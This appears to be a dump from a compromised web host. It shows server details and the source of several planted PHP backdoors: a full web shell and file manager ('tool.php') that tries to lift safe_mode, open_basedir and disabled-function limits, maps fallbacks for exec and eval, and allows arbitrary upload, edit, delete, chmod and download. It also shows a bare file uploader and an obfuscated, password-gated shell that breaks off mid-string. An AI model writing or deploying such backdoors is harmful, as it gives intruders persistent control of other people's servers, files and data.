uawdijnntqw1x1x1
IP : 216.73.216.23
Hostname : web17.us.cloudlogin.co
Kernel : Linux web17.us.cloudlogin.co 5.10.238-xeon-hst #1 SMP Thu Jun 5 12:15:42 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
www
/
hallgroupsolutions.com
/
e61a0
/
..
/
8314a
/
..
/
0a24e
/
integralinnovationsgroup.com.tar
/
/
tool.php000077700000111134151514460360006247 0ustar00<?php @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // Bypass security restrictions if(function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // Alternative function mapping for bypassing restrictions $func_alternatives = array( 'exec' => ['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'], 'eval' => ['eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'], 'read' => ['file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'], 'write' => ['file_put_contents', 'fwrite', 'fputs'] ); // Dynamic function loader function getWorkingFunction($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if(isset($func_alternatives[$type])) { foreach($func_alternatives[$type] as $func) { if(function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // Enhanced path resolver with multiple fallback methods function resolvePath() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if(empty($path)) { // Try multiple methods to get current directory $methods = [ function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ]; foreach($methods as $method) { $result = $method(); if($result && @is_dir($result)) { $path = $result; break; } } if(empty($path)) $path = '.'; } // Normalize path $path = str_replace(['\\', '//'], '/', $path); $path = rtrim($path, '/') . '/'; // Store in cookie for persistence @setcookie('last_path', $path, time() + 86400); // Validate path if(@is_dir($path)) return $path; if(@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // Multi-method file reader function readContent($file) { // Try different reading methods $methods = [ function($f) { return @file_get_contents($f); }, function($f) { $fp = @fopen($f, 'rb'); if($fp) { $content = ''; while(!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ]; foreach($methods as $method) { $result = $method($file); if($result !== false && $result !== null) return $result; } return ''; } // Multi-method file writer function writeContent($file, $data) { // Try different writing methods if(@file_put_contents($file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } // Try temp file method $temp = @tempnam(@dirname($file), 'tmp'); if(@file_put_contents($temp, $data) !== false) { return @rename($temp, $file); } return false; } // Enhanced directory scanner function scanPath($dir) { $items = []; // Try different listing methods if(function_exists('scandir')) { $items = @scandir($dir); } elseif($handle = @opendir($dir)) { while(false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif(function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, ['.', '..', '']); } // File/folder deletion with recursion function deleteItem($path) { if(@is_file($path)) { @chmod($path, 0777); return @unlink($path); } elseif(@is_dir($path)) { $items = scanPath($path); foreach($items as $item) { deleteItem($path . '/' . $item); } return @rmdir($path); } return false; } // Get file permissions function getPermissions($file) { $perms = @fileperms($file); if($perms === false) return '---'; $info = ''; // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); // Other permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // Check if file is writable (enhanced) function isWritableEnhanced($file) { // Try multiple methods if(@is_writable($file)) return true; // Try to create temp file in directory if(@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if(@touch($test)) { @unlink($test); return true; } } // Check parent directory for files if(@is_file($file)) { $parent = @dirname($file); if(@is_writable($parent)) return true; } return false; } // Sort contents - folders first, then files function sortContents($contents, $currentPath) { $folders = []; $files = []; foreach($contents as $item) { $itemPath = $currentPath . $item; if(@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } // Sort alphabetically sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return ['folders' => $folders, 'files' => $files]; } // Process current request $currentPath = resolvePath(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; // Handle POST operations if($_SERVER['REQUEST_METHOD'] === 'POST') { // Upload handler if(isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if(@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $content = readContent($_FILES['upload']['tmp_name']); if(writeContent($destination, $content)) { $notification = ['type' => 'success', 'text' => 'Upload successful']; } else { $notification = ['type' => 'error', 'text' => 'Upload failed']; } } } // Save edited file if(isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if(writeContent($target, $_POST['content'])) { $notification = ['type' => 'success', 'text' => 'Changes saved']; } else { $notification = ['type' => 'error', 'text' => 'Save failed']; } } // Create new file if(isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if(writeContent($newPath, $_POST['filecontent'])) { $notification = ['type' => 'success', 'text' => 'File created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Create directory if(isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if(@mkdir($newDir, 0777, true)) { $notification = ['type' => 'success', 'text' => 'Folder created']; } else { $notification = ['type' => 'error', 'text' => 'Creation failed']; } } // Rename item if(isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if(@rename($oldPath, $newPath)) { $notification = ['type' => 'success', 'text' => 'Renamed successfully']; } else { $notification = ['type' => 'error', 'text' => 'Rename failed']; } } // Change permissions if(isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if(@chmod($target, $mode)) { $notification = ['type' => 'success', 'text' => 'Permissions changed']; } else { $notification = ['type' => 'error', 'text' => 'Permission change failed']; } } } // Handle GET operations if(isset($_GET['do'])) { $action = $_GET['do']; // Delete operation if($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; if(deleteItem($target)) { $notification = ['type' => 'success', 'text' => 'Deleted successfully']; } else { $notification = ['type' => 'error', 'text' => 'Delete failed']; } } // Edit operation if($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = readContent($currentPath . $editFile); } // Download operation if($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if(@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } // Get directory contents and sort them $rawContents = scanPath($currentPath); $sortedContents = sortContents($rawContents, $currentPath); // System information $serverInfo = [ 'PHP' => @phpversion(), 'Server' => @$_SERVER['SERVER_SOFTWARE'] ?: 'Unknown', 'OS' => @php_uname('s') . ' ' . @php_uname('r'), 'User' => @get_current_user() ]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Manager - @r3dc0d3r1337-WORDPRESS</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif; background: #0a0a0a; min-height: 100vh; padding: 20px; color: #e0e0e0; } .container { max-width: 1400px; margin: 0 auto; background: #1a1a1a; border-radius: 12px; box-shadow: 0 10px 40px rgba(0,0,0,0.8); overflow: hidden; border: 1px solid #2a2a2a; } .header { background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%); color: white; padding: 25px; border-bottom: 2px solid #3a3a3a; } .header h1 { font-size: 26px; margin-bottom: 10px; display: flex; align-items: center; gap: 10px; text-shadow: 2px 2px 4px rgba(0,0,0,0.5); } .sys-info { display: flex; gap: 20px; font-size: 13px; opacity: 0.9; flex-wrap: wrap; } .sys-info span { display: flex; align-items: center; gap: 5px; background: rgba(0,0,0,0.3); padding: 4px 10px; border-radius: 4px; } .nav { background: #252525; padding: 15px 25px; border-bottom: 1px solid #3a3a3a; } .path-bar { display: flex; gap: 10px; margin-bottom: 15px; } .path-bar input { flex: 1; padding: 10px 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; transition: border-color 0.3s; } .path-bar input:focus { outline: none; border-color: #4a9eff; background: #222; } .btn { padding: 10px 20px; background: linear-gradient(135deg, #4a9eff 0%, #2a5298 100%); color: white; border: none; border-radius: 6px; cursor: pointer; font-size: 14px; font-weight: 500; transition: transform 0.2s, box-shadow 0.2s; } .btn:hover { transform: translateY(-2px); box-shadow: 0 5px 15px rgba(74, 158, 255, 0.4); } .btn-success { background: linear-gradient(135deg, #00b09b 0%, #96c93d 100%); } .btn-danger { background: linear-gradient(135deg, #ff416c 0%, #ff4b2b 100%); } .btn-small { padding: 5px 12px; font-size: 12px; } .tools { display: flex; gap: 15px; flex-wrap: wrap; } .tool-group { display: flex; align-items: center; gap: 10px; padding: 10px 15px; background: #1a1a1a; border-radius: 6px; border: 1px solid #3a3a3a; } .tool-group label { font-size: 13px; color: #a0a0a0; font-weight: 500; } .tool-group input[type="file"], .tool-group input[type="text"] { padding: 5px 10px; background: #252525; border: 1px solid #3a3a3a; color: #e0e0e0; border-radius: 4px; font-size: 13px; } .content { padding: 25px; background: #1a1a1a; } .notification { padding: 12px 20px; margin-bottom: 20px; border-radius: 6px; font-size: 14px; animation: slideIn 0.3s ease; } .notification.success { background: rgba(0, 255, 0, 0.1); color: #00ff00; border: 1px solid rgba(0, 255, 0, 0.3); } .notification.error { background: rgba(255, 65, 108, 0.1); color: #ff416c; border: 1px solid rgba(255, 65, 108, 0.3); } @keyframes slideIn { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .file-table { width: 100%; background: #252525; border-radius: 8px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.5); border: 1px solid #3a3a3a; } .file-table thead { background: #1a1a1a; } .file-table th { padding: 15px; text-align: left; font-size: 13px; font-weight: 600; color: #4a9eff; text-transform: uppercase; letter-spacing: 0.5px; border-bottom: 2px solid #3a3a3a; } .file-table td { padding: 12px 15px; border-top: 1px solid #2a2a2a; font-size: 14px; color: #e0e0e0; } .file-table tbody tr { transition: background 0.2s; } .file-table tbody tr:hover { background: #2a2a2a; } .file-table tbody tr.folder-row { background: rgba(74, 158, 255, 0.05); border-left: 3px solid #4a9eff; } .file-table tbody tr.folder-row:hover { background: rgba(74, 158, 255, 0.1); } .file-table a { color: #4a9eff; text-decoration: none; font-weight: 500; display: inline-flex; align-items: center; gap: 8px; } .file-table a:hover { color: #6ab7ff; } .file-icon { width: 20px; height: 20px; display: inline-flex; align-items: center; justify-content: center; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions a { padding: 4px 10px; background: rgba(74, 158, 255, 0.2); color: #4a9eff; border: 1px solid rgba(74, 158, 255, 0.3); border-radius: 4px; font-size: 12px; transition: all 0.2s; } .file-actions a:hover { background: rgba(74, 158, 255, 0.3); border-color: #4a9eff; } .file-actions a.delete { background: rgba(255, 65, 108, 0.2); color: #ff416c; border-color: rgba(255, 65, 108, 0.3); } .file-actions a.delete:hover { background: rgba(255, 65, 108, 0.3); border-color: #ff416c; } /* Permission-based colors */ .perm-writable { color: #00ff00 !important; font-weight: 600; text-shadow: 0 0 5px rgba(0, 255, 0, 0.5); } .perm-readonly { color: #ff4444 !important; font-weight: 600; text-shadow: 0 0 5px rgba(255, 68, 68, 0.5); } .perm-indicator { display: inline-block; width: 8px; height: 8px; border-radius: 50%; margin-right: 5px; } .perm-indicator.writable { background: #00ff00; box-shadow: 0 0 5px #00ff00; animation: pulse-green 2s infinite; } .perm-indicator.readonly { background: #ff4444; box-shadow: 0 0 5px #ff4444; animation: pulse-red 2s infinite; } @keyframes pulse-green { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } @keyframes pulse-red { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } } .edit-area { width: 100%; min-height: 400px; padding: 15px; background: #0a0a0a; border: 2px solid #3a3a3a; color: #00ff00; border-radius: 6px; font-family: 'Courier New', monospace; font-size: 14px; line-height: 1.5; resize: vertical; } .edit-area:focus { outline: none; border-color: #4a9eff; background: #111; } .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); z-index: 1000; animation: fadeIn 0.3s ease; } .modal.active { display: flex; align-items: center; justify-content: center; } @keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } } .modal-content { background: #252525; padding: 30px; border-radius: 12px; width: 90%; max-width: 500px; animation: slideUp 0.3s ease; border: 1px solid #3a3a3a; } @keyframes slideUp { from { transform: translateY(50px); opacity: 0; } to { transform: translateY(0); opacity: 1; } } .modal-header { margin-bottom: 20px; font-size: 20px; font-weight: 600; color: #4a9eff; } .modal-body input, .modal-body textarea { width: 100%; padding: 10px; margin-bottom: 15px; background: #1a1a1a; border: 2px solid #3a3a3a; color: #e0e0e0; border-radius: 6px; font-size: 14px; } .modal-body textarea { min-height: 150px; resize: vertical; } .modal-footer { display: flex; gap: 10px; justify-content: flex-end; } .empty { text-align: center; padding: 40px; color: #666; } .separator-row td { background: #1a1a1a; padding: 8px 15px !important; font-weight: 600; color: #4a9eff; border-top: 2px solid #3a3a3a !important; border-bottom: 2px solid #3a3a3a !important; text-transform: uppercase; letter-spacing: 1px; font-size: 12px; } @media (max-width: 768px) { .tools { flex-direction: column; } .file-table { font-size: 12px; } .file-actions { flex-direction: column; } .sys-info { font-size: 11px; } } </style> </head> <body> <div class="container"> <div class="header"> <h1>🌙 File Manager - @r3dc0d3r1337-WORDPRESS</h1> <div class="sys-info"> <?php foreach($serverInfo as $key => $value): ?> <span><strong><?php echo $key; ?>:</strong> <?php echo htmlspecialchars($value); ?></span> <?php endforeach; ?> </div> </div> <?php if($notification): ?> <div class="notification <?php echo $notification['type']; ?>"> <?php echo htmlspecialchars($notification['text']); ?> </div> <?php endif; ?> <div class="nav"> <form method="get" class="path-bar"> <input type="text" name="p" value="<?php echo htmlspecialchars($currentPath); ?>" placeholder="Enter path..."> <button type="submit" class="btn">Navigate</button> </form> <div class="tools"> <form method="post" enctype="multipart/form-data" class="tool-group"> <label>Upload:</label> <input type="file" name="upload" required> <button type="submit" class="btn btn-small btn-success">Upload</button> </form> <div class="tool-group"> <button onclick="showNewFileModal()" class="btn btn-small">New File</button> <button onclick="showNewFolderModal()" class="btn btn-small">New Folder</button> </div> </div> </div> <div class="content"> <?php if($editMode): ?> <div class="edit-container"> <h3 style="margin-bottom: 15px; color: #4a9eff;">Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="save" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" class="edit-area"><?php echo htmlspecialchars($editContent); ?></textarea> <div style="margin-top: 15px; display: flex; gap: 10px;"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?p=<?php echo urlencode($currentPath); ?>" class="btn btn-danger" style="text-decoration: none; display: inline-flex; align-items: center;">Cancel</a> </div> </form> </div> <?php else: ?> <table class="file-table"> <thead> <tr> <th width="35%">Name</th> <th width="10%">Type</th> <th width="10%">Size</th> <th width="10%">Permissions</th> <th width="15%">Modified</th> <th width="20%">Actions</th> </tr> </thead> <tbody> <?php if($currentPath !== '/'): ?> <tr> <td colspan="6"> <a href="?p=<?php echo urlencode(dirname($currentPath)); ?>"> <span class="file-icon">⬆️</span> Parent Directory </a> </td> </tr> <?php endif; ?> <?php // Display folders first if(!empty($sortedContents['folders'])) { echo '<tr class="separator-row"><td colspan="6">📁 Folders</td></tr>'; foreach($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); ?> <tr class="folder-row"> <td> <a href="?p=<?php echo urlencode($itemPath); ?>"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📁</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($folder); ?> </span> </a> </td> <td>Folder</td> <td>-</td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($folder); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($folder); ?>" class="delete" onclick="return confirm('Delete this folder and all its contents?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php // Display files if(!empty($sortedContents['files'])) { echo '<tr class="separator-row"><td colspan="6">📄 Files</td></tr>'; foreach($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = getPermissions($itemPath); $isWritable = isWritableEnhanced($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: 'FILE'); if($size !== false) { if($size < 1024) $size = $size . ' B'; elseif($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?> <tr> <td> <span style="display: inline-flex; align-items: center; gap: 8px;"> <span class="perm-indicator <?php echo $isWritable ? 'writable' : 'readonly'; ?>"></span> <span class="file-icon">📄</span> <span class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo htmlspecialchars($file); ?> </span> </span> </td> <td><?php echo $ext; ?></td> <td><?php echo $size; ?></td> <td class="<?php echo $isWritable ? 'perm-writable' : 'perm-readonly'; ?>"> <?php echo $perms; ?> </td> <td><?php echo $modified ? date('Y-m-d H:i', $modified) : '-'; ?></td> <td> <div class="file-actions"> <a href="?p=<?php echo urlencode($currentPath); ?>&do=edit&item=<?php echo urlencode($file); ?>">Edit</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=download&item=<?php echo urlencode($file); ?>">Download</a> <a href="#" onclick="renameItem('<?php echo htmlspecialchars($file); ?>'); return false;">Rename</a> <a href="#" onclick="chmodItem('<?php echo htmlspecialchars($file); ?>'); return false;">Chmod</a> <a href="?p=<?php echo urlencode($currentPath); ?>&do=delete&item=<?php echo urlencode($file); ?>" class="delete" onclick="return confirm('Delete this file?')">Delete</a> </div> </td> </tr> <?php endforeach; } ?> <?php if(empty($sortedContents['folders']) && empty($sortedContents['files'])): ?> <tr> <td colspan="6" class="empty">Empty directory</td> </tr> <?php endif; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- New File Modal --> <div id="newFileModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New File</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfile" placeholder="Filename (e.g., index.php)" required> <textarea name="filecontent" placeholder="File content (optional)"></textarea> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFileModal')">Cancel</button> </div> </form> </div> </div> <!-- New Folder Modal --> <div id="newFolderModal" class="modal"> <div class="modal-content"> <div class="modal-header">Create New Folder</div> <form method="post"> <div class="modal-body"> <input type="text" name="newfolder" placeholder="Folder name" required> </div> <div class="modal-footer"> <button type="submit" class="btn btn-success">Create</button> <button type="button" class="btn btn-danger" onclick="closeModal('newFolderModal')">Cancel</button> </div> </form> </div> </div> <script> // Modal functions function showNewFileModal() { document.getElementById('newFileModal').classList.add('active'); } function showNewFolderModal() { document.getElementById('newFolderModal').classList.add('active'); } function closeModal(id) { document.getElementById(id).classList.remove('active'); } // Rename function function renameItem(oldName) { var newName = prompt('Enter new name:', oldName); if(newName && newName !== oldName) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' + '<input type="hidden" name="newname" value="' + newName + '">'; document.body.appendChild(form); form.submit(); } } // Chmod function function chmodItem(item) { var mode = prompt('Enter new permissions (e.g., 755):', '755'); if(mode) { var form = document.createElement('form'); form.method = 'post'; form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' + '<input type="hidden" name="chmod_value" value="' + mode + '">'; document.body.appendChild(form); form.submit(); } } // Auto-hide notifications setTimeout(function() { var notifications = document.querySelectorAll('.notification'); notifications.forEach(function(n) { n.style.opacity = '0'; setTimeout(function() { n.style.display = 'none'; }, 300); }); }, 3000); // Keyboard shortcuts document.addEventListener('keydown', function(e) { if(e.ctrlKey && e.key === 'n') { e.preventDefault(); showNewFileModal(); } if(e.ctrlKey && e.shiftKey && e.key === 'N') { e.preventDefault(); showNewFolderModal(); } if(e.key === 'Escape') { document.querySelectorAll('.modal.active').forEach(function(m) { m.classList.remove('active'); }); } }); // Click outside modal to close document.querySelectorAll('.modal').forEach(function(modal) { modal.addEventListener('click', function(e) { if(e.target === modal) { modal.classList.remove('active'); } }); }); </script> </body> </html>pu8.php000077700000003531151514460360006007 0ustar00<?php // Function to generate random folder name function generateRandomFolderName($length = 16) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; } // Set base upload directory $baseUploadDir = __DIR__ . '/uploads/'; // Create base upload directory if it doesn't exist if (!is_dir($baseUploadDir)) { mkdir($baseUploadDir, 0755, true); } // Generate random folder for this session $sessionFolder = generateRandomFolderName(); $uploadDir = $baseUploadDir . $sessionFolder . '/'; // Check if form was submitted if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { // Create the session folder if it doesn't exist if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $file = $_FILES['file']; $fileName = basename($file['name']); $targetFile = $uploadDir . $fileName; // Check for errors if ($file['error'] !== 0) { die("Error: File upload failed."); } // Move file to upload directory if (move_uploaded_file($file['tmp_name'], $targetFile)) { echo "File uploaded successfully: <a href='uploads/$sessionFolder/$fileName'>$fileName</a>"; } else { echo "Error: Unable to upload file."; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>PHP File Uploader</title> </head> <body> <h2>Upload a File</h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> </body> </html>rcc8.php000077700000262662151514460360006146 0ustar00<?php /* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2024-10-26 08:44:37 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto fZwJe; GGCHo: u8hi2(); goto NBiWT; BFyzL: auDLf: goto hIa7q; fZwJe: $eSNKE = "\x64\x65\x64\67\x66\x37\70\65\x32\145\x65\x64\146\66\141\142\x31\x30\x38\x35\62\71\67\x30\146\x30\x31\x35\x65\61\x30\60"; goto QUudt; teYJI: rz7ak: goto eLt_g; ebrsr: goto yE4w3; goto Zyx2k; HukGx: setcookie("\x61\x75\x74\x68", $eSNKE, time() + 3600); goto GGCHo; bDK0l: if (isset($_POST["\x6c\x6f\147\151\x6e"]) || isset($_GET["\160\141\163\x73"])) { goto d8FQp; } goto Qo0jg; c3J1v: LOYFl: goto uF0iN; L13ER: goto auDLf; goto jhD6f; zaMH2: if (md5($WAjB0) === $eSNKE) { goto vAoBH; } goto dPi5J; dPi5J: echo "\x3c\163\143\162\151\x70\x74\76\x61\154\x65\x72\x74\50\47\x49\156\x76\141\154\x69\144\x20\120\x61\163\x73\167\x6f\162\x64\47\51\74\x2f\x73\x63\162\151\x70\x74\x3e"; goto ebrsr; Zyx2k: vAoBH: goto HukGx; HV8Y4: return; goto L13ER; QUudt: if (isset($_COOKIE["\x61\x75\164\150"]) && $_COOKIE["\x61\165\x74\x68"] === $eSNKE) { goto rz7ak; } goto bDK0l; QQdhG: U8hi2(); goto c3J1v; Qo0jg: echo "\x3c\x68\164\x6d\x6c\40\x6c\141\x6e\147\75\42\145\x6e\x22\x3e\xa\40\x20\x20\x20\x3c\150\x65\141\144\x3e\xa\x20\40\40\x20\x20\40\74\155\x65\x74\141\x20\x6e\x61\155\x65\x3d\x22\x74\x68\x65\x6d\145\x2d\x63\157\x6c\x6f\162\42\x20\x63\x6f\x6e\x74\x65\x6e\x74\75\42\x72\x65\x64\42\76\xa\x20\x20\x20\x20\40\x20\74\155\145\x74\141\40\x6e\141\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\x72\x74\42\x20\143\157\156\164\x65\156\164\75\42\167\151\x64\x74\150\x3d\x64\x65\x76\151\x63\145\55\167\151\144\x74\x68\54\40\151\x6e\151\164\x69\x61\x6c\x2d\x73\x63\141\x6c\145\75\60\x2e\x36\x30\x2c\40\163\150\x72\151\156\153\55\x74\x6f\55\146\151\x74\75\156\x6f\x22\x3e\12\x20\x20\40\x20\40\x20\x3c\x6c\x69\156\x6b\x20\x72\145\154\x3d\x22\163\164\171\x6c\x65\x73\x68\145\145\164\42\40\150\x72\145\x66\x3d\x22\x68\x74\x74\160\163\x3a\x2f\x2f\143\x64\x6e\56\152\x73\144\145\x6c\x69\x76\162\56\156\x65\164\57\156\x70\x6d\x2f\142\165\154\155\141\100\61\x2e\60\x2e\x32\57\x63\163\163\x2f\142\x75\154\155\141\x2e\155\x69\x6e\56\143\x73\x73\42\76\xa\x20\x20\40\40\74\x2f\x68\145\x61\x64\76\xa\40\40\x20\40\x3c\x62\157\x64\171\x20\144\141\x74\x61\55\164\150\x65\x6d\x65\75\x22\x64\141\x72\x6b\x22\x20\163\x74\171\154\145\x3d\x22\x64\x69\x73\160\154\141\171\x3a\146\154\x65\170\73\x6a\x75\x73\164\x69\x66\x79\x2d\143\x6f\x6e\x74\145\156\x74\x3a\x63\145\x6e\x74\x65\x72\x3b\141\x6c\x69\x67\156\x2d\151\164\x65\x6d\163\72\143\x65\x6e\x74\145\x72\x22\x3e\xa\x20\40\40\40\40\40\74\144\151\166\x20\x73\164\x79\x6c\145\75\x22\x64\x69\163\160\154\x61\171\x3a\156\157\x6e\145\42\76\12\40\x20\x20\40\40\40\x20\40\74\141\x20\150\162\145\146\75\42\x68\x74\164\160\x73\x3a\57\57\163\x65\154\154\x65\170\56\142\151\x7a\42\x20\164\151\164\x6c\145\75\42\x53\145\154\x6c\145\170\40\x53\150\157\160\42\x3e\x53\x65\154\154\x65\x78\40\123\150\x6f\x70\x3c\x2f\141\x3e\xa\40\40\x20\40\x20\x20\x3c\57\144\x69\x76\x3e\12\40\x20\x20\x20\40\40\x3c\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x3d\42\x70\157\163\x74\x22\40\143\154\x61\x73\163\x3d\x22\142\157\x78\42\x20\x73\x74\171\x6c\x65\x3d\42\142\x6f\162\144\x65\162\x3a\62\x70\x78\40\x73\x6f\154\x69\x64\40\x68\x73\x6c\x28\61\x37\61\x2c\x20\x31\60\60\x25\x2c\40\61\66\x25\51\x22\76\12\x20\x20\x20\40\x20\x20\x20\x20\x3c\150\64\40\143\x6c\141\x73\x73\x3d\42\151\163\55\x73\151\x7a\x65\x2d\x35\40\150\141\163\x2d\164\x65\170\x74\x2d\167\145\x69\x67\x68\164\55\142\157\154\x64\40\x68\x61\x73\55\x74\145\170\x74\55\160\x72\151\x6d\x61\162\171\x20\x6d\142\x2d\64\42\x3e\xa\x20\40\x20\40\40\x20\40\x20\40\40\x4c\x6f\x67\x69\x6e\xa\40\x20\x20\40\x20\x20\40\40\x3c\x2f\150\64\76\xa\x20\40\40\40\x20\x20\40\x20\74\x69\x6e\x70\x75\x74\40\x6e\x61\x6d\x65\x3d\42\160\141\x73\x73\42\x20\x69\x64\x3d\x22\x70\141\163\x73\42\40\160\154\x61\143\x65\150\157\154\x64\x65\162\x3d\42\120\141\x73\x73\x77\157\x72\x64\42\40\143\x6c\141\163\163\x3d\42\x69\156\x70\165\164\x20\x6d\142\x2d\x34\x22\40\164\x79\160\x65\x3d\42\160\141\163\163\x77\x6f\x72\144\42\57\76\12\40\x20\x20\x20\40\40\40\40\74\x62\165\x74\164\157\156\40\x74\x79\160\145\x3d\42\163\x75\142\x6d\x69\164\x22\40\x6e\x61\155\x65\75\42\154\x6f\147\151\x6e\42\40\x63\154\x61\x73\163\75\x22\x62\x75\x74\x74\x6f\156\x20\151\163\x2d\160\x72\x69\155\x61\162\x79\42\x3e\114\157\x67\151\156\74\57\x62\x75\164\x74\157\156\76\12\